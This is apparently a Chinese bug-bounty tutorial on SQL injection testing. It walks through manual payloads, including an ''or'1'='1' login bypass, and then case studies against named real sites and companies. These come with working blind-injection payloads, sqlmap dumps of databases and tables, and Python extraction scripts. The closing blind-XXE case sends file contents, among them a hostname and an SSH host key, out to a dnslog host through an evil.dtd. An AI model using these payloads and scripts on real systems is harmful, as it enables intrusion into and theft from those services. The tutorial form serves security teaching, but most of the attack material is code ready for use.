WEB漏洞挖掘详细教程--用户输入合规性（sql注入测试）

前置教程：
WEB漏洞挖掘（SRC）详细教程--信息收集篇-CSDN博客

WEB漏洞挖掘（SRC）详细教程--身份认证与业务一致性-CSDN博客

WEB漏洞挖掘（SRC）详细教程--业务数据篡改-CSDN博客

2.4 用户输入合规性

2.4.1 注入测试

a. 手动注入

1.在参数中输入一个单引号”' ”，引起执行查询语句的语法错误，得到服务器的错误回显，从而判断服务器的数据库类型信息。根据数据库类型构造sql注入语句。

例如一个get方式的url[ http://www.Xxx.com/abc.asp?p=YY ]

修改p的参数值http://www.Xxx.com/abc.asp?p=YY and user>0

就可以判断是否是 SQL-SERVER，而还可以得到当前连接到数据库的用户名。 http://www.xxx.com/abc.asp?p=YY&n … db_name()>0

不仅可以判断是否是SQL-SERVER，而还可以得到当前正在使用的数据库名。

2.盲注，大部分时候web服务器关闭了错误回显。

http://www.xxx.com/abc.asp?p=1 and 1=2

sql命令不成立，结果为空或出错；

http://www.xxx.com/abc.asp?p=1 and 1=1

sql命令成立，结果正常返回。

两个测试成功后，可以判断负载的sql被执行，存在sql注入漏洞。

手动注入网站示例。登录密码（‘or’1’=‘1）并成功进入管理后台。

a.aLimit后盲注

案例：同花顺一处limit后盲注（ROOT权限/跨11库）

检测发现以下地方存在SQL注入：（注入参数limit，limit后时间盲注）

[http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class](http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class) 
ify=1&flag=fancy&limit=3&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

Payload：（延时7秒）

[http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class](http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class) 
ify=1&flag=fancy&limit=1/**/procedure/**/analyse(extractvalue(1,benchmark(25000
000,md5(111))),1)+--+-&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

1.当前数据库用户，ROOT

2.所有数据库，共11个

a.bSql盲注

案列：263通信某APP一处SQL盲注（附验证脚本）

263网络会议 3.0 软件下载_产品客户端下载_263云通信

下载APP，"快速入会"功能，接口：

POST [http://cc.263.net/rest/netmeeting/quickLoginNet](http://cc.263.net/rest/netmeeting/quickLoginNet) HTTP/1.1 
Content-Type: application/json;charset=UTF-8
Content-Length: 65 
Host: cc.263.net 
Connection: Keep-Alive
{"pCode":"46867588","username":"lisi","clientType":10}

注入点：pCode

bool盲注。

false：

true：

数据库用户：

BOSSAPP@192.168.99.67

python验证脚本：

headers = {'Content-Type': 'application/json;charset=UTF-8'} 
payloads = 'ABCDEFGHIJKLMNOPQRSTYVWXYZ0123456789@_.'
print '[%s] Start to retrive db User:' % time.strftime('%H:%M:%S', 
time.localtime())
user = '' isEnd=False
for i in range(1, 36): if isEnd:break isEnd=Truefor payload in payloads: url='/rest/netmeeting/quickLoginNet' start_time=time.time() data='{"pCode":"46867588\' or
MID(user(),'+str(i)+',1)=''+payload+'","username":"lisi","clientType":10}'conn = httplib.HTTPConnection('cc.263.net', timeout=60) conn.request(method='POST',url=url,body=data, headers=headers) html_doc = conn.getresponse().read()conn.close() print '.',if(html_doc.find('80007')>0): isEnd=Falseuser += payloadprint '\n[in progress]', user, breaktime.sleep(0.1)
print '\n[Done] db user is %s' % user 
time.sleep(20)

a.c伪静态db2布尔盲注

案列：某银行主站伪静态DB2布尔盲注

http://.../bugs/wooyun-2016-0211479/trace/8722c6d1776df3a473e61e3dc44c1 2f9

http://.../Site/Home/CN

没waf 直接上sqlmap 未脱库

available databases [10]:

[] *DB2INST1

[] * NULLID

[*] SQLJ

[] * SYSCAT

[] *SYSFUN

[*] SYSIBM

[] *SYSIBMADM

[] *SYSPROC

[*] SYSSTAT

[*] SYSTOOLS

current database: 'CMSDB'

database management system users [1]:

[*] DB2INST1

[313 tables]

+--------------------------------+

| ADVISE_WORKLOAD |

| AREA |

| AREA_EMAIL |

| COMPANY_LOANS |

| D2S_BLOCK_TEMPLATEMAP |

| D2S_CHANEL_CHANEL_RELATIONSHIP |

| D2S_CHANNEL_BLOCKMAP |

| D2S_CHANNEL_INFO_RELATIONSHIP |

| D2S_CHANNEL_TEMPLATEMAP |

| D2S_INFO_BLOCKMAP |

| D2S_INFO_CHANNEL_RELATIONSHIP |

| D2S_INFO_INFO_RELATIONSHIP |

| D2S_INFO_TEMPLATEMAP |

| D2S_TEMPLATE |

| EMAIL_SEND_LOG |

a.d伪静态sql布尔盲注

案列：某银行主站伪静态sql布尔盲注root

http://...//cmsDeskArticle/bankCardType/1 注入点

经测试 information_schema不能用，sqlmap神器也悲伤肯花时间的话可以猜的出表

漏洞证明：

工具跑不了

1' or length(database())=7 and 1=1 or '1'='

1' or ascii(mid((database()),1,1))=102 and 1=1 or '1'=' f

1' or ascii(mid((database()),2,1))=120 and 1=1 or '1'=' x

1' or ascii(mid((database()),3,1))=45 and 1=1 or '1'=' -

1' or ascii(mid((database()),4,1))=98 and 1=1 or '1'=' b

1' or ascii(mid((database()),5,1))=97 and 1=1 or '1'=' a

1' or ascii(mid((database()),6,1))=110 and 1=1 or '1'=' n

1' or ascii(mid((database()),7,1))=107 and 1=1 or '1'=' k

fx-bank

1' or ascii(mid(version(),1,1))=53 and 1=1 or '1'=' m

1' or ascii(mid(version(),2,1))=46 and 1=1 or '1'=' .

1' or ascii(mid(version(),3,1))=53 and 1=1 or '1'=' 5

1' or ascii(mid(version(),4,1))=46 and 1=1 or '1'=' .

1' or ascii(mid(version(),5,1))=50 and 1=1 or '1'=' 2

1' or ascii(mid(version(),6,1))=49 and 1=1 or '1'=' 1

1' or ascii(mid(version(),7,1))=45 and 1=1 or '1'=' -

1' or ascii(mid(version(),8,1))=108 and 1=1 or '1'=' 1

1' or ascii(mid(version(),9,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(version(),10,1))=103 and 1=1 or '1'=' g

m.5.21-log

1' or ascii(mid(user(),1,1))=114 and 1=1 or '1'=' r

1' or ascii(mid(user(),2,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(user(),3,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(user(),4,1))=116 and 1=1 or '1'=' t

1' or ascii(mid(user(),5,1))=64 and 1=1 or '1'=' @

1' or ascii(mid(user(),6,1))=108 and 1=1 or '1'=' l

root@localhost

a.e时间盲注

案列：迅雷一处时间盲注

抓的post包

POST /location/upload_peerinfo HTTP/1.1 
Host: [interface.xl9.xunlei.com](http://interface.xl9.xunlei.com)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate 
DNT: 1
Cookie: sessionid=CC824A20602118045BF9B8150499AD86; userid=50947382; 
peerid=50E549E88890F5GQ; client=pc; v=7.10.33.358
Connection: keep-alive 
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded 
Content-Length: 74
{"cpu":"","devicename":"ZHONGWEN","devicetype":"pc","imei":"","memory":""}

devicename\devicetype 都是注入点

Parameter: JSON devicename ((custom) POST) Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: {"cpu":"","devicename":"ZHONGWEN' AND (SELECT * FROM (SELECT(SLEEP(5)))DEhT) AND 'AgGq'='AgGq","devicetype":"pc","imei":"","memory":""}Parameter: JSON devicetype ((custom) POST) Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: {"cpu":"","devicename":"ZHONGWEN","devicetype":"pc' AND (SELECT * FROM (SELECT(SLEEP(5)))KNUs) AND 'HTgX'='HTgX","imei":"","memory":""}

available databases [6]:

[*] xl9\x81\x81omplain

[*] information_schema

[*] x

[*] xl9_location

[*] xl9_tracer

[*] xl9_user_ip_loc

[15:55:53] [INFO] fetching tables for database: 'xl9_user_ip_loc'

[15:55:53] [INFO] fetching number of tables for database 'xl9_user_ip_loc' [15:55:53] [INFO] resumed: 257

xl9_user_ip_loc 这个库挺大的都是用户记录的ip吧。

a.fOracle盲注

案列：新疆人社厅Oracle盲注（附验证脚本）

注入地址：

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

参数id过滤不严格导致SQLi

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

返回正常

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=4 AND 'xxx'='xxx

返回不一样，判断用户名为3个字符直接放进脚本跑。这里举例CURRENT_USER和OS_USER，其他类似

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: 
import requests
url = 
"http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e015
1590e127808da"
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) 
Gecko/20100101 Firefox/45.0",
"Cookie":"JSESSIONID=5V1JXjMpQLtR92RxJ62KrMQLfY4t6xpdQCBfcXLHtT2yz4jsT7Gr!1
478879510",
"Accept":""
}
def getData():
user=''
for i in range(1,4,1):
for exp in list(payloads):
try:
payload = "'AND 
substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1)='%s' AND 'xxx'='xxx" % 
(i,''.join(exp))
r = requests.get(url + 
payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '\n user is:',user,
except:
pass
print '\n[Done] Oracle user is %s' %user
def getDataBase():
user=''
for i in range(0,13,1):
for exp in list(payloads):
try:
payload = "'AND 
substr(SYS_CONTEXT('USERENV','OS_USER'),%s,1)='%s' AND 'xxx'='xxx" % 
(i,''.join(exp))
r = requests.get(url + 
payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '\n OS_USER is:',user,
except:
pass
print '\n[Done] Oracle OS_USER is %s' %user
if __name__ == '__main__':
#len = getLength()
getData()
getDataBase()

验证结果：

a.gXxe盲注

案列：利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

野生xml外部实体注入

地址：http://106.2.32.66:8080/webdav/

IP归属地：

存在一处webdav目录，支持通过PROPFIND方式提交xml结构请求构造xxe测试payload：

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [<!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd;]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache 日志：

response 返回数据：

<?xml version="1.0" encoding="utf-8" ?>
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/>
</locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><wr
ite/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 OK</status>
</propstat>
</response>
</multistatus>

证明解析xml时尝试引用了外部资源，存在XXE漏洞

后续尝试构造xml请求获取回显失败，考虑继续通过cloudeye获取blind xxe回显结果。创建一个获取回显结果的dtd文件：

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 
'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;

调用地址:http://...：8080/xml/evil.dtd 再次构造请求payload读取hostname：

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache日志：

获取的hostname为：classa-popoatispam1，貌似是网易popo的反垃圾邮件系统由于读取带有换行符、#、<、>等特殊符号文件内容时，会破坏xml语法结构，导致payload 无法正常解析，所以还做不到任意文件读取，可以尝试寻找base64、urlencode编码方法来解决，反正我是没有搞定/(ㄒoㄒ)/~~ 但是也可以读到好多有价值的内容，比如读取/etc/issue.net:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///etc/issue.net"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为：Debian%20GNU/Linux%207

读取/etc/ssh/ssh_host_rsa_key.pub:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///etc/issue.net"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为：

ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS 4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAP lAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7 y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7z OmoGeoEZrfxADCHlDbf6P+XJ3HjgDZg1iBHNH4hjkdNGkVCaxpRg9CD+V/G3Ddn0Xl%20root@class a-popoatispam1